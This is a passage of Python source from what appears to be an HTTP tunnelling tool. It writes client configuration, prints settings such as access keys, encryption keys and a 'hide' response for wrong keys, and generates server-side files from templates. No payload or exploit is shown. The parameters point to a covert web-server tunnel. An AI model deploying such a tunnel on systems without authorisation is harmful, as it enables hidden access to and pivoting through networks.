680 | self.WriteIfPresent(parameterHashtable, f, 'statsUpdateIterations', self.statsUpdateIterations, '%i')
681 | self.WriteIfPresent(parameterHashtable, f, 'clientToServerBlockSize', self.clientToServerBlockSize, '%i')
682 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketBufferSize', self.clientSocketBufferSize, '%i')
683 | self.WriteIfPresent(parameterHashtable, f, 'clientBlockSizeLimitFromServer', self.clientBlockSizeLimitFromServer, '%i')
684 | self.WriteIfPresent(parameterHashtable, f, 'useIPV6ClientSocketOnServer', self.useIPV6ClientSocketOnServer, '%s')
685 | self.WriteIfPresent(parameterHashtable, f, 'serverToClientBlockSize', self.serverToClientBlockSize, '%i')
686 | self.WriteIfPresent(parameterHashtable, f, 'serverSocketMaxUnusedIterations', self.serverSocketMaxUnusedIterations, '%i')
687 | self.WriteIfPresent(parameterHashtable, f, 'serverSocketIOTimeout', self.serverSocketIOTimeout, '%i')
688 | self.WriteIfPresent(parameterHashtable, f, 'serverSocketSendBufferSize', self.serverSocketSendBufferSize, '%i')
689 | self.WriteIfPresent(parameterHashtable, f, 'serverSocketReceiveBufferSize', self.serverSocketReceiveBufferSize, '%i')
690 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketTimeoutBase', self.clientSocketTimeoutBase, '%f')
691 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketTimeoutVariation', self.clientSocketTimeoutVariation, '%f')
692 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketTimeoutScalingMultiplier', self.clientSocketTimeoutScalingMultiplier, '%f')
693 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketTimeoutMax', self.clientSocketTimeoutMax, '%f')
694 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketTimeoutMin', self.clientSocketTimeoutMin, '%f')
695 | self.WriteIfPresent(parameterHashtable, f, 'clientBlockTransmitSleepTime', self.clientBlockTransmitSleepTime, '%f')
696 | f.close()
697 | self.OutputHandler.outputMessage('Created client configuration file "%s"' % (outputFilePath))
698 | except Exception as e:
699 | self.OutputHandler.outputMessage('Error writing to "%s" - %s' % (outputFilePath, e))
700 |
701 | def LoadParameters(self, parameterFileArray, warnOnOverride):
702 | parameterHashtable = {}
703 | for pf in parameterFileArray:
704 | parameterHashtable = self.GetConfigFileData(parameterHashtable, pf, warnOnOverride)
705 | self.GetParametersFromHashtable(parameterHashtable)
706 | return parameterHashtable
707 |
708 | def ShowParameters(self):
709 | self.OutputHandler.outputMessage('HTTP Request Header Name for Access Key: %s' % self.headerNameKey)
710 | self.OutputHandler.outputMessage('Access Key: %s' % self.headerValueKey)
711 | self.OutputHandler.outputMessage('Encryption Key: %s' % self.encryptionKeyHex)
712 | self.OutputHandler.outputMessage('HTTP User-Agent Request Header Value: %s' % self.headerValueUserAgent)
713 | self.OutputHandler.outputMessage('Send Access Key As: %s' % self.accessKeyMode)
714 | self.OutputHandler.outputMessage('Request Body Parameter Name for Access Key: %s' % self.paramNameAccessKey)
715 | self.OutputHandler.outputMessage('Request Body Parameter Name for Operation Type: %s' % self.paramNameOperation)
716 | self.OutputHandler.outputMessage('Request Body Parameter Name for Destination Host: %s' % self.paramNameDestinationHost)
717 | self.OutputHandler.outputMessage('Request Body Parameter Name for Destination Port: %s' % self.paramNameDestinationPort)
718 | self.OutputHandler.outputMessage('Request Body Parameter Name for Connection ID: %s' % self.paramNameConnectionID)
719 | self.OutputHandler.outputMessage('Request Body Parameter Name for Tunneled Data: %s' % self.paramNameData)
720 | self.OutputHandler.outputMessage('Request Body Parameter Name for Plaintext Request Block: %s' % self.paramNamePlaintextBlock)
721 | self.OutputHandler.outputMessage('Request Body Parameter Name for Encrypted Request Block: %s' % self.paramNameEncryptedBlock)
722 | self.OutputHandler.outputMessage('Encapsulated Request Body Base64-Encoded Name/Value Separator: %s' % self.dataBlockNameValueSeparatorB64)
723 | self.OutputHandler.outputMessage('Encapsulated Request Body Base64-Encoded Parameter Separator: %s' % self.dataBlockParamSeparatorB64)
724 | self.OutputHandler.outputMessage('Request Body Parameter Value for Operation "Open Connection": %s' % self.opModeStringOpenConnection)
725 | self.OutputHandler.outputMessage('Request Body Parameter Value for Operation "Send/Receive": %s' % self.opModeStringSendReceive)
726 | self.OutputHandler.outputMessage('Request Body Parameter Value for Operation "Close Connection": %s' % self.opModeStringCloseConnection)
727 | self.OutputHandler.outputMessage('Response Code for "Incorrect Access Key (Hide)": %s' % self.responseStringHide)
728 | self.OutputHandler.outputMessage('Response Code for "Connection Created": %s' % self.responseStringConnectionCreated)
729 | self.OutputHandler.outputMessage('Response Code for "Connection Closed": %s' % self.responseStringConnectionClosed)
730 | self.OutputHandler.outputMessage('Response Prefix for Tunneled Data: %s' % self.responseStringData)
731 | self.OutputHandler.outputMessage('Response Code for "No Data to Send": %s' % self.responseStringNoData)
732 | self.OutputHandler.outputMessage('Response Code for "Generic Error": %s' % self.responseStringErrorGeneric)
733 | self.OutputHandler.outputMessage('Response Code for "Invalid Request": %s' % self.responseStringErrorInvalidRequest)
734 | self.OutputHandler.outputMessage('Response Code for "Connection Not Found": %s' % self.responseStringErrorConnectionNotFound)
735 | self.OutputHandler.outputMessage('Response Code for "Failed to Open Connection": %s' % self.responseStringErrorConnectionOpenFailed)
736 | self.OutputHandler.outputMessage('Response Code for "Failed to Close Connection": %s' % self.responseStringErrorConnectionCloseFailed)
737 | self.OutputHandler.outputMessage('Response Code for "Failed to Send Data (Server-Side)": %s' % self.responseStringErrorConnectionSendFailed)
738 | self.OutputHandler.outputMessage('Response Code for "Failed to Receive Data (Server-Side)": %s' % self.responseStringErrorConnectionReceiveFailed)
739 | self.OutputHandler.outputMessage('Response Code for "Decryption Failure": %s' % self.responseStringErrorDecryptFailed)
740 | self.OutputHandler.outputMessage('Response Code for "Encryption Failure": %s' % self.responseStringErrorEncryptFailed)
741 | self.OutputHandler.outputMessage('Response Code for "Encryption Not Supported": %s' % self.responseStringErrorEncryptionNotSupported)
742 | self.OutputHandler.outputMessage('Base64-Encoded Response Prefix: %s' % self.responseStringPrefixB64)
743 | self.OutputHandler.outputMessage('Base64-Encoded Response Suffix: %s' % self.responseStringSuffixB64)
744 | self.OutputHandler.outputMessage('Log File Path: %s' % self.logFilePath)
745 | self.OutputHandler.outputMessage('Application Name: %s' % self.fileGenerationAppNameShort)
746 | self.OutputHandler.outputMessage('Write to Log File: %s' % self.writeToLog)
747 | self.OutputHandler.outputMessage('Write to Standard Output: %s' % self.writeToStandardOut)
748 | self.OutputHandler.outputMessage('Output Raw Tunneled Data: %s' % self.echoData)
749 | self.OutputHandler.outputMessage('Output HTTP Request/Response Bodies: %s' % self.echoHTTPBody)
750 | self.OutputHandler.outputMessage('Output Debugging Messages: %s' % self.echoDebugMessages)
751 | self.OutputHandler.outputMessage('Automatically Adjust Client Socket Timeout: %s' % self.autoscaleClientSocketTimeout)
752 | self.OutputHandler.outputMessage('Request/Response Iterations Between Tunneled Data Statistics Output: %i' % self.statsUpdateIterations)
753 | self.OutputHandler.outputMessage('Maximum Number of Bytes for Server to Return to Client Component With Each Send/Receive Operation: %i bytes' % self.clientToServerBlockSize)
754 | self.OutputHandler.outputMessage('Client Socket Buffer Size: %i bytes' % self.clientSocketBufferSize)
755 | self.OutputHandler.outputMessage('Block Size for Retransmission to Clients: %i bytes' % self.clientBlockSizeLimitFromServer)
756 | self.OutputHandler.outputMessage('Sleep Time Between Client Socket Blocks: %f seconds' % self.clientBlockTransmitSleepTime)
757 | self.OutputHandler.outputMessage('Base Client Socket Timeout: %f seconds' % self.clientSocketTimeoutBase)
758 | self.OutputHandler.outputMessage('Client Socket Timeout Variation Range: %f' % self.clientSocketTimeoutVariation)
759 | self.OutputHandler.outputMessage('Client Socket Timeout Scaling Multiplier: %f' % self.clientSocketTimeoutScalingMultiplier)
760 | self.OutputHandler.outputMessage('Client Socket Maximum Timeout: %f' % self.clientSocketTimeoutMax)
761 | self.OutputHandler.outputMessage('Client Socket Minimum Timeout: %f' % self.clientSocketTimeoutMin)
762 | self.OutputHandler.outputMessage('Maximum Number of Bytes for Server to Return to Client Component With Each Send/Receive Operation: %i' % self.serverToClientBlockSize)
763 | self.OutputHandler.outputMessage('Maximum Unused Request/Response Iterations Before Abandoning Server-Side Socket: %i' % self.serverSocketMaxUnusedIterations)
764 | self.OutputHandler.outputMessage('Use IPv6 for Server-Side Client Sockets (See Documentation): %s' % self.useIPV6ClientSocketOnServer)
765 | self.OutputHandler.outputMessage('Server-Side Socket IO Timeout: %i milliseconds' % self.serverSocketIOTimeout)
766 | self.OutputHandler.outputMessage('Server-Side Socket Send Buffer Size: %i bytes' % self.serverSocketSendBufferSize)
767 | self.OutputHandler.outputMessage('Server-Side Socket Receive Buffer Size: %i bytes' % self.serverSocketReceiveBufferSize)
768 |
769 | @staticmethod
770 | def ReplacePlaceholderValue(content, parameterHashtable, parameterName):
771 | placeholder = '%PLACEHOLDER_' + parameterName + '%'
772 | return content.replace(placeholder, parameterHashtable[parameterName])
773 |
774 | def GetFileAsString(self, inputFilePath):
775 | result = ''
776 | try:
777 | f = open(inputFilePath, 'rb')
778 | result = f.read()
779 | f.close()
780 | except Exception as e:
781 | outputHandler.outputMessage('Could not open the file "%s" - %s' % (inputFilePath, e))
782 | result = ''
783 | return result
784 |
785 | def GenerateServerFileFromTemplate(self, templateDirectory, templateFileName, outputDirectory, parameterHashtable):
786 | templateFilePath = os.path.join(templateDirectory, templateFileName)
787 | outputFilePath = os.path.join(outputDirectory, templateFileName)
788 | templateContent = self.GetFileAsString(templateFilePath)
789 | if templateContent == "":
790 | self.OutputHandler.outputMessage('The template file "%s" could not be found, did not contain any content, or was not accessible to the current user, and no corresponding output file will be generated.' % (templateFilePath))
791 | return
792 | outputFileContent = templateContent[:]
793 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'useIPV6ClientSocketOnServer')
794 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'serverToClientBlockSize')
795 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'serverSocketMaxUnusedIterations')
796 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'serverSocketIOTimeout')
797 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'serverSocketSendBufferSize')
798 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'serverSocketReceiveBufferSize')
799 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'headerValueKey')
800 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'encryptionKeyHex')
801 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'headerNameKey')
802 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'accessKeyMode')
803 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameAccessKey')
804 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameOperation')
805 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameDestinationHost')
806 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameDestinationPort')
807 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameConnectionID')
808 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameData')
809 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNamePlaintextBlock')
810 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameEncryptedBlock')
811 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'dataBlockNameValueSeparatorB64')
812 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'dataBlockParamSeparatorB64')
813 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'opModeStringOpenConnection')
814 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'opModeStringSendReceive')
815 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'opModeStringCloseConnection')
816 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringHide')
817 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringConnectionCreated')
818 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringConnectionClosed')
819 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringData')
820 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringNoData')
821 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorGeneric')
822 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorInvalidRequest')
823 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorConnectionNotFound')
824 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorConnectionOpenFailed')
825 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorConnectionCloseFailed')
826 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorConnectionSendFailed')
827 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorConnectionReceiveFailed')
828 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorDecryptFailed')
829 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorEncryptFailed')
830 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorEncryptionNotSupported')
831 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringPrefixB64')
832 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringSuffixB64')
833 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'fileGenerationAppNameShort')
834 | try:
835 | f = open(outputFilePath, 'wb')
836 | f.write(outputFileContent)
837 | f.close()
838 | self.OutputHandler.outputMessage('Created server file "%s"' % (outputFilePath))
839 | except Exception as e:
840 | self.OutputHandler.outputMessage('Error: The output file file "%s" could not be created - %s' % (outputFilePath, e))
--------------------------------------------------------------------------------